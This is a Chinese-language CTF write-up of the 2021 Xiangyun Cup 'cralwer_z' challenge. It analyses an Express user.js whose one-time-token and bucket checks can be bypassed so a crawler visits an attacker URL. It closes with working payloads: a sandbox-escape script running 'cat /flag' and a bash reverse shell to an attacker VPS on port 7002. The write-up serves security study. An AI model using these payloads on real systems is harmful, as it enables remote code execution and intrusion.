[2021祥云杯]cralwer_z
题目在buu复现,给了附件
关键的代码在user.js
中,我们着重对其进行分析
const express = require('express');
const crypto = require('crypto');
const createError = require('http-errors');
const { Op } = require('sequelize');
const { User, Token } = require('../database');
const utils = require('../utils');
const Crawler = require('../crawler');
const router = express.Router();
router.get('/', async (req, res) => {
const user = await User.findByPk(req.session.userId)
return res.render('index', { username: user.username }); //渲染
});
router.get('/profile', async (req, res) => {
const user = await User.findByPk(req.session.userId);
return res.render('user', { user }); //渲染
});
//profile路由
router.post('/profile', async (req, res, next) => {
let { affiliation, age, bucket } = req.body;
const user = await User.findByPk(req.session.userId);
//对信息进行校验
if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") {
return res.render('user', { user, error: "Parameters error or blank." });
}
if (!utils.checkBucket(bucket)) {
return res.render('user', { user, error: "Invalid bucket url." });
}
let authToken;
try {
//更新用户信息,bucket的值传递给personalBucket
await User.update({
affiliation,
age,
personalBucket: bucket
}, {
where: { userId: req.session.userId }
});
//生成token
const token = crypto.randomBytes(32).toString('hex');
//传递
authToken = token;
//生成token
await Token.create({ userId: req.session.userId, token, valid: true });
//对数据库中能找到的userId以及token进行查询,将已有的token的valid设置为false,即销毁
await Token.update({
valid: false,
}, {
where: {
userId: req.session.userId,
token: { [Op.not]: authToken }
}
});
} catch (err) {
next(createError(500));
}
//对bucket进行正则匹配,然后将刚刚生成的token进行打印
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
//重定向到verify
res.redirect(`/user/verify?token=${authToken}`)
} else {
// Well, admin won't do that actually XD.
return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
}
});
//verify路由
router.get('/verify', async (req, res, next) => {
let { token } = req.query;
//对token进行检测
if (!token || typeof (token) !== "string") {
return res.send("Parameters error");
}
let user = await User.findByPk(req.session.userId);
//找对数据库中已有的token
const result = await Token.findOne({
token,
userId: req.session.userId,
valid: true
});
if (result) {
try {
//让token失效,一个token只能用一次
await Token.update({
valid: false
}, {
where: { userId: req.session.userId }
});
//更新用户信息,注意bucket: user.personalBucket,将personalBucket的值赋给bucket
await User.update({
bucket: user.personalBucket
}, {
where: { userId: req.session.userId }
});
user = await User.findByPk(req.session.userId); //根据主键进行查询
return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
} catch (err) {
next(createError(500));
}
} else {
user = await User.findByPk(req.session.userId); //根据主键进行查询
return res.render('user', { user, message: "Failed to update, check your token carefully" })
}
})
// Not implemented yet
router.get('/bucket', async (req, res) => {
const user = await User.findByPk(req.session.userId); //根据主键进行查询
//正则匹配
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(user.bucket)) {
return res.json({ message: "Sorry but our remote oss server is under maintenance" });
} else {
// Should be a private site for Admin
try {
//这里新建了一个Crawler类的对象page
const page = new Crawler({
userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
referrer: 'https://www.ichunqiu.com/',
waitDuration: '3s'
});
//goto,到crawler.js中
await page.goto(user.bucket);
const html = page.htmlContent;
const headers = page.headers;
const cookies = page.cookies;
await page.close();
return res.json({ html, headers, cookies});
} catch (err) {
return res.json({ err: 'Error visiting your bucket. ' })
}
}
});
module.exports = router;
分析代码之前需要知道的事情
sequelize常见API使用_风雨诗轩的博客-CSDN博客_findbypk
这段代码中,大量使用sequelize
的查询,所以要先了解一些这些查询语句
- findOne
根据id查询一条记录
demo
const favors = await UserModel.findOne({
attributes: [['user_favorites', 'userFavors']], //将user_favorites属性重命名为userFavors
where: {
id: `${id}`
}
}).catch(err => {
getLogger().error("xxx occur error=", err);
});
- findByPk
通过主键来查询一条记录
demo
await UserModel.findByPk(id).then(......
在本题中,主键是userId
代码分析
按路由来进行代码分析吧,一般而言每个路由对应不同的功能,而且思路也比较清晰
user.js中,主要是3个路由/profile
,verify
,bucket
/profile路由
首先来看/profile
路由
前面部分是传参,对参数进行检测
bucket
将临时存放在personalBucket
,生成token
然后对bucket
进行正则匹配,匹配成功会进行跳转到/verify
,并将token
打印出来
/verify路由
再来看/verify
路由
刚开始也是进行参数的检测
然后根据userid
获取数据库中存储的信息,并且获取其第一条信息,如果找到,就更新它的valid
为false
,让其失效
然后更新信息,将user.personalBucket
的值传到bucket
中
/bucket路由
最后看第三个路由/bucket
根据主键userId
查询,然后对user.bucket
进行正则匹配,这里绕过正则匹配
之后,会新建一个Crawler类的对象page,然后调用goto
方法
我们跟进看这个goto
方法,goto方法中实现了this.crawler.visit
方法,这个visit方法会去访问一个我们传入的url
参数,而这里也是漏洞点
goto(url) {
return new Promise((resolve, reject) => {
try {
//实现了this.crawler.visit方法
this.crawler.visit(url, () => {
const resource = this.crawler.resources.length
? this.crawler.resources.filter(resource => resource.response).shift() : null;
this.statusCode = resource.response.status
this.headers = this.getHeaders();
this.cookies = this.getCookies();
this.htmlContent = this.getHtmlContent();
resolve();
});
} catch (err) {
reject(err.message);
}
})
}
在正常情况下,我们访问/profile
路由,生成token,但是会自动跳转到/verify
路由,然后将我们的token的valid
置为flase
让其失效,达到一次性token的效果;然后将数据库中的personalBucket
传入bucket
中
注意有两次正则匹配
,他们的匹配规则是一样的,但是我们想要的效果是不一样的,在/profile
路由中,我们要让其符号正则匹配条件,然后将token打印出来;在/bucket
路由中,我们要其不符合真个匹配条件,让其执行goto
方法
解题思路
所以思路是:
- 首先访问
/profile
,生成一个token,会将其传入personalBucket
暂存;这个时候,我们要用burp抓包不让其跳转到/verify
; - 然后再访问
/profile
,更新personalBucket
,将其改为我们的url
; - 然后再利用第一次获取到的
token
去verify
,在/verify
中会将数据库中的personalBucket
向bucket
赋值,而personalBucket
已经在第二步被我们替换了 - 利用其访问
bucket
,反弹shell,或者cat /flag
实际操作
注册用户,登录,然后去/profile
点击update,抓包
send,拿到token
这个时候,这个包就卡在这里,不会去访问/verify
然后再次将这个包发给repeater
,将bucket
进行修改,替换为自己的vps
这个时候,我们再次返回burp第一个我们拿到的包,点击Follow redirection
然后就可以看到bucket
成功更新
然后在vps上的80端口挂一个拿flag的脚本,或者是自己的vps上的80端口已经有一个http服务
python3 -m http.server 80
脚本
<script>
a=this.constructor.constructor.constructor.constructor('return process')();b=a.mainModule.require('child_process');c=b.execSync('cat /flag').toString();document.write(c);
</script>
然后访问/user/bucket
,拿到flag
或者是整个反弹shell的脚本
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/xx.xx.xx.xx/7002 0>&1'],);console.log(ls.output.toString());")()</script>
监听7002端口